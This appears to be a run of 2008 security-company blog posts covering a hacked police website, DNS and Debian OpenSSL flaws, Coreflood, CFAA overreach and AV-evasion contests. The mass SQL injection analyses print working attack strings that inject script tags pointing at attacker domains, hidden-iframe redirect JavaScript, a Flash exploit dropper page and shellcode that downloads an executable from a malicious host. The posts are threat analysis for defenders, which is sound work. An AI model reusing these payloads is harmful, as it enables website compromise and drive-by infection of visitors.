The Unnamed Police Department (we’ll just call them the UPD for short) is charged with keeping the peace in a major American metropolitan area. For a public safety website, theirs is quite advanced. Visitors can view dynamically generated maps showing the distribution of different classes of crimes, make anonymous tips to the narcotics squad, and even try to sign up to join the force. As those of us that work in information security well know, all that rich web functionality brings increased risk.

This past Thursday afternoon I received a report from a colleague that the UPD public website appeared to be serving up malicious JavaScript injections. The URLs of the injected scripts were consistent with the recent waves of mass SQL injection attacks that have targeted Microsoft IIS sites backed by Microsoft SQL Server databases. The injected JavaScript payloads were consistent with malicious scripts generated using the Neosploit obfuscation tool. The first stage script redirected victims to another script, this one hosted at a domain name registered just the day before with a German domain registrar.

The impact of all this? Visitors to the UPD website were having their web browsers loaded with a witches brew of exploits, potentially leading to complete system compromise. While not all visitors were successfully exploited, enough folks are getting owned with these attacks to make them increasingly popular with the bad guys. Users of a tool such as the NoScript extension for Firefox (or possibly Microsoft’s new XSSFilter being included with Internet Explorer 8) would have been protected.

I immediately contacted the UPD and reported the issue. The conversation was initially pretty humorous, as you might imagine. Fortunately, the department includes a cybercrimes unit and my report was immediately routed to them. The contact at the UPD called me back about 5 minutes later and informed me one of the investigators in the cybercrimes unit had indeed confirmed the problem, and that they were working to resolve the issue. To verify the report, the cybercrimes investigator supposedly browsed to the UPD’s own public website and saw his anti-virus software light up with warnings.

I checked back less than four hours later, and the site appeared clean. I’m impressed with the speed of the response, given previously reported compromises of state and local government websites (credit to Sunbelt Blog: here, here, here, and here). I really thought I had enough time to get home before writing a cron job to keep checking the site for when it got cleaned up!

Unless the underlying SQL injection vulnerability was fixed however, this site is very likely to fall victim again, and soon.

This past Tuesday July 8th was a big day in information security. Accomplished security researcher Dan Kaminsky of IOActive announced a major new vulnerability in the DNS infrastructure underpinning the Internet. What is the vulnerability, you ask? We may all have to wait for Dan to tell us at the Black Hat Briefings security conference, kicking off on Wednesday August 6th.

You see, what transpired Tuesday was a massive coordinated exercise in controlled vulnerability disclosure, pulled off by many of the biggest vendors in IT. It has been attempted (e.g., SNMP), but something like this has never really been pulled off before.

Dan Kaminsky, with the help of Internet pioneer Paul Vixie and US-CERT, pulled all the major players together and got them to actually agree they had a problem. At a closely guarded March 31st meeting on Microsoft’s Redmond campus, the likes of Microsoft, Cisco and the ISC BIND team reached consensus on an aggressive fix to be coordinated among the participants. What’s more, this diverse group managed to effectively keep a lid on their efforts until Tuesday. As Dan said in a podcast interview, they “were very careful.”

Security research is all built upon trust, and the folks involved in this disclosure process proved themselves worthy of ours.

Dan references our very own Joe Stewart’s 2002 work on DNS cache poisoning attacks as helping to form a basis for this new work.

For the less technically inclined, Rich Mogull’s “Executive Overview” does a good job at explaining what all the fuss is about. Otherwise, I’d suggest you go right to the source, Dan’s post at DoxPara Research. And for good measure and referential completeness, US-CERT Vulnerability Note #VU800113 is right here.

Writing good antivirus software is hard. Just ask the developer at a major antivirus company who was infected with the Coreflood trojan on his personal computer for over a year. Perhaps he was just testing their product, but it seems odd to have allowed the trojan to capture some of his personal information.  Fortunately the antivirus developer was not a domain administrator on the company’s network, so Coreflood didn’t spread to every other system in the Windows domain like it did at several other businesses, hospitals and government organizations.

One might assume that by now, that the antivirus company, employing the developer, would detect the specific version of Coreflood that he was infected with on February 23, 2007. Sadly, they still do not. The reason probably stems from the overarching problem that all antivirus companies face, and Coreflood is as good an example as any. There have been dozens upon dozens of Coreflood variants over the last six years. Virus and trojan authors these days are in it for the money, and more infections equals more money. And less detections equals more infections. So constantly rebuilding the Coreflood trojan to evade detection is part of the bad guys’ business model. And it’s easy - programs that scramble a trojan’s code to avoid anti-virus detection are available everywhere and most of them are free. The antivirus industry is really fighting a losing battle - they have to invest as much effort in reverse-engineering executable packers as the whole of the criminal underground spends in writing them, and this translates into a lot of time spent (and profits lost), since it always takes longer to reverse-engineer something than it did to engineer it. Therefore it’s not surprising that AV detection rates for new variants of most malware are simply abyssmal.

But while the packed Coreflood code might change weekly, it is interesting to note that the network traffic pattern that Coreflood uses when checking in with the controller has not changed substantially in the last two years! The intrusion (really extrusion) signatures we wrote for our clients back in 2006 are still effective at locating Coreflood infections today. It goes to show that fighting malware requires a multi-faceted approach: defenses against the infection vectors (exploits and social engineering), system-level protection, and extrusion detection to fill the gaps. Increasingly we are using our iSensor(™) intrusion prevention platform to do just this. Every day our malware research department analyses a large number of malware samples in order to improve our clients’ security posture and prevent information leakage by botnets like Coreflood.

Of course, we’re not alone in recognizing extrusion detection as a key part of defense-in-depth. For example, the Emerging Threats project maintains sets of extrusion-detection rules for the open-source Snort IDS platform. Since Snort operates in detection (instead of prevention) mode, using it won’t stop data leakage or malicious commands from being downloaded by infected systems, but it can at least alert network administrators of infected workstations so that they can respond, and hopefully re-evaluate their defenses based on the frequency and types of infections occuring on their network.

At its core, the determination of malware versus non-malware with 100% certainty can only be accomplished by knowing the intent of the author, something that can’t always be divined by scanning the bits and bytes of the code. Thus, no product can ever provide a 100% solution against past, present and future malware infection.  However, extrusion detection and prevention continue to be invaluable tools in today’s world, where botnets lurk in the shadows and siphon data from every corner of the network.

Recently Lori Drew was charged with violating the Computer Fraud and Abuse Act for signing up for a MySpace account under a fake name. While the larger circumstances were quite shocking (and have been covered enough I don’t think I need to go into them), she was charged for nothing more than pretending to be someone else on the Internet. The indictment calls this a felony, under title 130 section (a) (2) (c) of the US Code, which criminalizes anyone who “intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains information from any protected computer if the conduct involved an interstate or foreign communication.” The access to MySpace was unauthorized because using a fake name violated the terms of service. The information from a “protected computer” was the profiles of other MySpace users.

If this is found to be a valid interpretation of the law, it’s really quite frightening. If you violate the Terms of Service of a website, you can be charged with hacking. That’s an astounding concept. Does this mean that everyone who uses Bugmenot could be prosecuted? Also, this isn’t a minor crime, it’s a felony punishable by up to 5 years imprisonment per count. In Drew’s case she was charged with three counts for accessing MySpace on three different occasions.

This isn’t the first time that there’s been a controversial ruling based on these laws. Earlier this year David Ritz was fined over $50,000 in civil proceedings under a similar state statute in Sierra Corporate Design, Inc. v. David Ritz.

Ritz looked at DNS records in an attempt to get more information about a company he alleges was spamming. He used a zone transfer to retrieve all of the records on the Plaintiff’s DNS server. The judge found that “Ritz’s behavior in conducting a zone transfer was unauthorized within the meaning of the North Dakota Computer Crime Law.” The Plaintiff in the case argued that because a zone transfer was an obscure command, and because it was intended only for use by DNS administrators, it was unauthorized access, and that the information he obtained was not publicly available. This was found to be true even though the Plaintiff’s DNS server would happily hand out that information to whoever asked. I personally, as well as many other security and network professionals, consider this a legitimate use of a publicly available service. It may not be in the best interest of the plaintiff to make this information public, but that doesn’t mean that the Ritz should incur legal liability for accessing (or using) it.

The problem is that there is no generally accepted definition of what unauthorized means in this context. Law makers either didn’t define the term or if they did, used such sweeping language that the definition is plainly overbroad. One Kansas statue defined access as “to approach, instruct, communicate with, store data in, retrieve data from, or otherwise make use of any resources of a computer.” A judge rejected that definition, saying that if it was used, then “any unauthorized physical proximity to a computer could constitute a crime” and instead used the definition of access from Webster’s dictionary.

Such overarching language is also common in the terms of service used by ISPs and websites to define what is allowed to happen on their website or service. These documents are written by lawyers trying to shield their employers / clients from harm, not set up a set of usable rules of conduct. As such they are routinely ignored by both service providers and visitors. Commonly they contain clauses that no reasonable person could expect to abide by. One example is a TOS that expects users to not “violate any local, state, federal, or non-U.S. law, order, or regulation.” In conjunction with the CFAA, wouldn’t this make violating any law from any country a violation of US law? Another clause which is commonly found in a TOS, is to not include any content which is “threatening, abusive, defamatory, invasive of privacy or publicity rights, vulgar, obscene, profane or otherwise objectionable.” This type of clause seems to be intended to prohibit being mean on the Internet. The ironic thing is that it’s not uncommon to find TOS which prohibit the majority of content on the web site, for example a celebrity gossip site forbidding the posting of sensitive information.

The discrepancy between the TOS and the actual use of a website has had negative consequences. In March, New Jersey Attorney General Anne Milgram subpoenaed the website juicycampus.com. Milgram felt that it was a possible violation of the Consumer Fraud Act for the website to disallow offensive content in it’s TOS, but to not actively remove offensive content. Juicycampus.com is a gossip site, which goes out of it’s way to solicit, well, juicy gossip about college life. The website uses slogans like “Always Anonymous. Always Juicy,” so it sure looks like the website is going out of it’s way to solicit offensive content. Why does it say that such content is disallowed in it’s TOS? In Ritz’s case one of the findings of law was that “Ritz has engaged in a variety of activities without authorization on the Internet. Those activities include … the compilation and publication of Whois lookups without authorization from Network Solutions.”

Whois data is intended to be used to identify the owners of a domain and communicate that information to others. However, the TOS reads the “compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of Network Solutions.” This portion of the TOS clearly contradicts the intended use of the data, so why is it there?

I think it’s because the lawyers who wrote it wanted the most leverage possible if and when they felt it necessary to take legal action against someone using the data in a way they didn’t like. Unfortunately, this overly restrictive TOS helped contribute to a $50,000 judgment against Ritz.

In my perspective, as someone who writes IPS signatures, these issues are the result of not paying enough attention to false positives. The dedication to preventing false positives in the American legal system can be seen from Benjamin Franklin’s rephrasing of Blackstone’s formulation: “that it is better [one hundred] guilty Persons should escape than that one innocent Person should suffer.” Defining what constitutes an unauthorized and criminal violation of a computer system is an extremely difficult task, but it is an important enough issue that it deserves an earnest effort. While legislatures may have the advantage that unlike my IPS signatures, their laws are interpreted by judges, prosecutors and other people who are capable of exercising independent judgment, that’s no reason to write overly broad laws that criminalize the majority of Internet users. When those laws are so broad as to be unknowingly violated and unenforceable as written, judges should strike them down for vagueness. Website and ISP operators should also not write TOS that they know will be violated by legitimate users of their site. It might be nice if there was a principal of contract law that invalided Terms of Service which are so over broad as to be meaningless. However, even if this is not the case then they should still do so because words mean something and contracts and laws should as well.

In the last weeks, the SecureWorks Counter Threat Unit™ noticed a significant uptick in the volume of mass SQL injection attacks. What follows is a small part of an in-depth analysis we undertook to better understand these attacks.

Our analysis began with the SQL injection attacks themselves. The attack pattern consists of a long hex-encoded value that’s converted into a string by the victim’s SQL Server. This cloaks the attack from simple inspection, but is easily decoded with a bit of scripting. Of note, we’ve seen the size of the hex-encoded payload decrease significantly over time: the attackers behind this are adapting.

What is uncovered is an attempt to inject a small bit of HTML into every page served by the compromised website. The injected IFRAME references a JavaScript file (b.js in all the samples we’ve observed) hosted on another server. b.js is fairly straight forward bit of JavaScript:

try{
document.write("<iframe src=hxxp://<bad_domain_here>/cgi-bin/?ad width=0 height=0 frameborder=0></iframe>");

bin/?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};

This generated IFRAME serves up a nice piece of obfuscated, packed JavaScript with an 8 kB or so payload. This code included two noteworthy pieces of anti-debugging:

1. location.href key: As noted elsewhere in the security community [1], unpacking can be made more difficult by including keys only the client browser would know. For the packer we dissected, location.href, the URL of the referencing document, formed part of the decoding key. If one only had the IFRAME code to examine, this would make decryption difficult. However, since we had followed this exploit from the original SQL injection, we knew the referencing document and could provide this parameter. Note that the generating server must uniquely key the packed code to the referenced domain as a result of this.
2. Use of arguments.callee: This JavaScript primitive allows access to the called function, allowing recursion and other nifty functional abilities. In this case, the packer calls arguments.callee.toString(), which returns the body of the function itself as a String. By appending this to the decoding key, the function is slightly harder to decode - you can’t modify the code in place to force it to decode.

Utilizing our Caffeine Monkey tool, we pealed back this layer of the exploit onion. Interestingly, the attackers choose to encode twice with the same obfuscation technique, possibly to foil automated unpacking. We uncovered a simple browser profiling engine, again written in JavaScript. It looked at two properties:

1. navigator.appMinorVersion: Only present on IE, this property returns the Windows service pack level. On the example systems we tested, it returned “;SP2;”, representing XP Service Pack 2. The detection code adds 1 to this, left-zero pads it to 2 characters, and sends it as characters 48 and 49 of the request URL described below.
2. navigator.systemLanguage: Returns the combination of language and country code for localization. The characters for this are translated to their ASCII digit equivalents minus the hyphen, so “en-us” becomes 656E2D7573. This is padded out with zeros to become the final 20 digits of the request URL.

Once the profiling is complete, the code crafts a custom URL using the above data, creates a new SCRIPT tag sourcing this URL, and appends it to the current document. This triggers another download, this time from a different server.

Thankfully, this finabit of JavaScript is again double encoded with the same technique we encountered before. What’s unveiled is a chunk of JavaScript that attempts to exploit a number of known vulnerable ActiveX controls as well as an older vulnerability in Internet Explorer. What’s new here is the fancy packaging.

Interestingly, there are some rudimentary bits of commented-out anti-debugging code in the unraveled JavaScript code. Though incomplete and non-functional, it shows that attackers are getting more sophisticated with defending their exploits from reverse engineering. Expect to see setTimeout anti-reversing techniques in the near future.

[1] http://zarestel.blogspot.com/2008/05/deobfuscating-neosploit-manually.html

There’s a new round of the Mass SQL injection attacks that have been going on for the past few months. This time it looks like the bad guys are using a slightly different variant of the SQL injection attack and the backend malware dropper pages. In previous iterations the SQL attack looked like this:

;DECLARE%20@S%20NVARCHAR(4000);SET% 20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800
61007200280032003500350029002C00400043002000760061007200
63006800610072002800320035003500290020004400450043004C00
41005200450020005400610062006C0065005F004300750072007300
6F007200200043005500520053004F005200200046004F0052002000
730065006C00650063007400200061002E006E0061006D0065002C00
62002E006E0061006D0065002000660072006F006D00200073007900
73006F0062006A006500630074007300200061002C00730079007300
63006F006C0075006D006E0073002000620020007700680065007200
6500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D002700750027002000
61006E0064002000280062002E00780074007900700065003D003900
390020006F007200200062002E00780074007900700065003D003300
350020006F007200200062002E00780074007900700065003D003200
3300310020006F007200200062002E00780074007900700065003D00
310036003700290020004F00500045004E0020005400610062006C00
65005F0043007500720073006F007200200046004500540043004800
20004E004500580054002000460052004F004D002000200054006100
62006C0065005F0043007500720073006F007200200049004E005400
4F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F00530054004100540055005300
3D0030002900200042004500470049004E0020006500780065006300
2800270075007000640061007400650020005B0027002B0040005400
2B0027005D00200073006500740020005B0027002B00400043002B00
27005D003D0072007400720069006D00280063006F006E0076006500
72007400280076006100720063006800610072002C005B0027002B00
400043002B0027005D00290029002B00270027003C00730063007200
69007000740020007300720063003D0068007400740070003A002F00
2F007700770077002E006E006900680061006F007200720031002E00
63006F006D002F0031002E006A0073003E003C002F00730063007200
6900700074003E002700270027002900460045005400430048002000
4E004500580054002000460052004F004D0020002000540061006200
6C0065005F004300750020073006F007200200049004E0054004F002
000400054002C0040004300200045004E004400200043004C004F005
300450020005400610062006C0065005F0043007500720073006F007
20020004400450041004C004C004F004300410054004500200054006
10062006C0065005F0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);--

The new SQL injection looks slightly different. Less of the SQL code is contained within the CAST construct, so the total amount of code is smaller than the previous attack. The attacker did use the ever popular alternating ( aka elite ) caps in what appears to be an attempt to obfuscate the code. Thankfully for all those who write I(D|P)S rules, the good old /i flag will still match it.

;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20
tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20
sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTy
Pe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe
=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next
%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)
%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim
(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C7363726970742
07372633D687474703A2F2F7777772E7869616F6261697368616E2E6E65742
F64742F75732F48656C702E6173703E3C2F7363726970743E%20aS%20vArChAr
(67))')%20fEtCh%20next%20FrOm%0tAbLe_cursoR%20iNtO%20@t,@c%20eNd
%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- HTTP/1.1

On the other side of the exploit, users who are affected by the embeded script tags will be sent to this JavaScript page:

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("pidupdatessl=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000);
document.cookie = "pidupdatessl=update;expires=" + expires.toGMTString();
try{
document.write("<iframe src=hxxp://en-us18.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

That page then opens an invisible IFrame, which injects the code which actually drops the malicious Flash files.

<html>
<body>
<script>
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");
if(Flashver[2] == 115){
        document.write("<embed src=\"advert.swf\"></embed>");
}
if(Flashver[2] == 47){
        document.write("<embed src=\"banner.swf\"></embed>");
        }
</script>
</body>
</html>

That’s much cleaner than some of the previous rounds which would open up 3 or 4 different IFrames full of malware. Given that the Flash exploit is newer and more universal, I can see why the bad guys would decide to use it exclusively. There are reports that the newest Flash exploit will work on versions up to 115, which seems credible given that the bad guys are testing for that version. Previously the bad guys used a grab bag of ActiveX, RealPlayer and other exploits. I wouldn’t be suprised if that approach led to a lot more crashes. If any of the exploits failed it could cause the browser to crash, and that’s not even considering the possibility that the exploits might step on each others’ toes.

The malicious Flash files look to be based upon Mark Dowd’s Inhuman Flash exploit. They seem almost identical, with both downloading a root kit ( dddd.exe on one ddd2.exe on the other ) with very similar names. The root kits are both the same.

00000090  8b 03 c5 c3 75 72 6c 6d  6f 6e 2e 64 6c 6c 00 95  |....urlmon.dll..|
000000a0  bf d0 a7 17 47 e8 aa ff  ff ff 83 ec 04 83 2c 24  |....G.........,$|
000000b0  16 ff d0 95 50 bf e2 e6  58 1b e8 95 ff ff ff 8b  |....P...X.......|
000000c0  54 24 fc 8d 52 0e 33 db  53 53 52 eb 3b 43 3a 5c  |T$..R.3.SSR.;C:\|
000000d0  38 38 38 37 36 2e 65 78  65 00 53 ff d0 5d bf f7  |88876.exe.S..]..|
000000e0  7e be ad e8 6c ff ff ff  83 ec 04 83 2c 24 1b ff  |~...l.......,$..|
000000f0  d0 bf 02 f2 26 8f e8 59  ff ff ff 61 68 55 d6 1a  |....&..Y...ahU..|
00000100  30 83 c4 08 ff 64 24 f8  e8 cd ff ff ff 68 74 74  |0....d$......hxx|
00000110  70 3a 2f 2f 6c 6f 63 61  6c 65 34 38 2e 63 6f 6d  |p://locale48.com|
00000120  2f 61 64 2f 64 64 64 32  2e 65 78 65 00 00 00 00  |/ad/ddd2.exe....|

New Malicious domains:

• hxxp://o7n9.cn/
• hxxp://www.redir94.com/b.js
• hxxp://www.rexec39.com/b.js
• hxxp://www.locale48.com/b.js
• hxxp://www.rundll92.com/b.js
• hxxp://www.libid53.com/b.js
• hxxp://www.en-us18.com/b.js
• hxxp://www.script46.com/b.js
• hxxp://www.xiaobaishan.net/bjs

md5 hashes:

• a8002df6e691465bc0aad94c7bf86160 advert.swf
• ac3cb5bdbe3f6ed14cee7e5e94fc83a5 banner.swf
• 49b13ae1a881132440dd15e50310328f ddd2.exe
• 49b13ae1a881132440dd15e50310328f dddd.exe

I will be delivering a talk on PCI 6.6 and web application firewalls (WAFs) at Summercon this coming Saturday May 31st. If you are going to be in the Atlanta area this weekend, you really ought to come out and join the fun!

This week a huge flaw in one of the key underpinnings of electronic commerce was discovered. For the last two years the Debian GNU/Linux version of OpenSSL has produced extremely weak keys. This was a classic case of the right hand not knowing what the left hand was doing.

A bit of background in cryptography is necessary to understand the problem. In order to create public-key cryptographic keys, a strong source of entropy is needed. OpenSSL uses uninitialized data (random bits in memory) as part of its pseudo-random number generator (PRNG). When Debian audited the OpenSSL code for memory management bugs the use of uninitialized data was flagged as a potential defect. The Debian package maintainers simply commented out the line of code causing the warning and moved along without realizing the full implications of their actions.

Unfortunately for users of Debian, without this uninitialized data the only entropy used by the OpenSSL PRNG is the process ID, essentially crippling it. This change limited the entire key space to 32,767 (2^15), instead of 2^1024 in the case of a 1024-bit DSA key.

Whoops.

Hackers have already generated all possible valid keys for x86 and have automated the task of brute forcing SSH. According to HD Moore “It should be possible to try all 32,767 keys of both DSA-1024 and RSA-2048 within a couple hours…”

There are two main points to bring away from this:

1. If you are running a Debian box it’s time to update your OpenSSL package and create new keys. Do it now. Do not pass go.
2. You shouldn’t take reports from auditing tools at face value. These are tools to point you in the direction of problems but they are prone to false positives. You should look into the “problems” pointed out by these tools but they don’t always necessitate major changes. In Debian’s case the appropriate action would have been to add a comment explaining the purpose of that line of code rather than deleting it. This would have both made the code more readable and saved me a couple of hours earlier this week.

Picture courtesy of xkcd.com

There has been a fair amount of controversy as of late surrounding The Race to Zero contest to be unofficially held at DEFCON 16 this coming August. To briefly summarize, contestants are to be given samples of computer viruses/malware and access to a contest portal. The portal will take malware samples submitted by the contestants and run them through a collection of anti-virus engines, checking to see if the samples are detected. The contestants will make modifications to the malware samples in attempts to slip modified samples past the AV engines undetected. In keeping with the mischievous hacker zeitgeist of DEFCON, awards will be given for the “Most Elegant Obfuscation,” “Dirtiest Hack of an Obfuscation,” “Comedy Value” and “Most Deserving of Beer.”

AV vendors were predictably upset by the prospect of this exercise. Most objections seemed to boil down to two main assertions:

1. The contest involves the creation of new strains of malware, which can serve no constructive purpose.
2. The contest will only serve to help the bad guys learn new techniques in their arms race with AV vendors.

Contest organizers have stated their goal is simply to demonstrate the limitations of AV software, information that AV customers deserve to have. Their position is that the contest explores legitimate areas of security research and that investigation of AV bypass techniques is a worthwhile goal. Organizers have also pointed out that new malware is being created 24×7x365 in the wild, while at the contest’s conclusion any new malware samples created will be securely deleted from the contest systems.

I believe the primary arguments against the contest are specious. In order to engineer the effective detection of computer viruses and malware, one first needs to understand how these things function. Creating your own piece of malware will certainly help someone better understand how malware works. It is not at all clear that the creation of a new virus by a security researcher in a controlled environment has no constructive purpose.

There are some valid criticisms of the contest, however. This contest is not truly representative of malware development in the real world. Today’s malware is programmatically generated and engineered to bypass AV detection. Malware authors are no longer manually crafting and testing their creations. The malware ecosystem has moved on to the use of specialized tools for these purposes, written and sold by more highly skilled groups of miscreants.

Despite what the critics are saying, the bad guys are not going to learn anything new from this contest. The groups that develop malware generation kits have gone far beyond the paradigm of hand-crafted AV bypass that is being explored in the contest.

I do believe there are some positives that may come out of this contest. For one, consumers of AV software will gain valuable new insight into AV bypass resistance in a controlled evaluation, albeit a somewhat contrived one. AV software should see improvements as AV vendors that did not fare well feel customer and market demand to improve their products, or face losing business to their competitors. Last but certainly not least, the security research community will learn more about the capabilities and limitations of ubiquitous AV defenses.

My “Race to Zero” prediction? Embarrassing performance from some of the major AV vendors, especially those that haven’t made smart investments in strong heuristic detection mechanisms. Expect these AV vendors to attempt a rear-guard marketing action telling us why we shouldn’t give any credence to the results, followed by some real improvements in future releases of their products.

Last week I attended the RSA Conference, the largest information security conference in the world. Alan Turing was the conference mascot and the question “what would Turing do” was frequently asked. Turing was a brilliant computer scientist, considered the father of modern computing, capable of seeing the math in everything and envisioned an age when machines would be as intelligent as humans. He devised what is known as the Turing test, used to gauge the capabilities of artificial intelligence. We’ve all taken Turing tests, they’re used to guarantee that a human is on the other end of an application or communication stream. For example when you register for a gmail account you see an image that is obfuscated in a way that only humans can decipher, this is called a CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart). Therefore if the text in the image is read correctly entered there must be a human on the other screen reading it. This is an example of a Turing test.

For more information http://en.wikipedia.org/wiki/Captcha

The theme of the keynote presenters seemed to be a call for information centric security. I think this is appropriate considering they were presenting at a conference hosted by a company that was founded by (and named after) cryptographers who invented the most widely used asymmetric encryption algorithm (RSA) today. Cryptography has always served the purpose of two of the three premises of the information security triad - confidentiality and integrity (the third being availability which, it could be argued, cryptography inhibits). The need to protect information should not obviate the need to continue to protect the infrastructure. We are dependent on the infrastructure for the storage and transit of information and need to protect it.

Compared to last year there appeared to be fewer Network Admission/Access Control (NAC) vendors, fewer Data Loss Prevention (DLP) vendors and fewer Network Behavior Analysis (NBA) vendors. The newest technology based on an old idea is application whitelisting. Application whitelisting changes the logic used by many endpoint security solutions which today allow everything and deny the known bad. Instead application whitelisting denies everything and allows the known good. In an age where more malware is created than legitimate software it makes sense to invert the logic.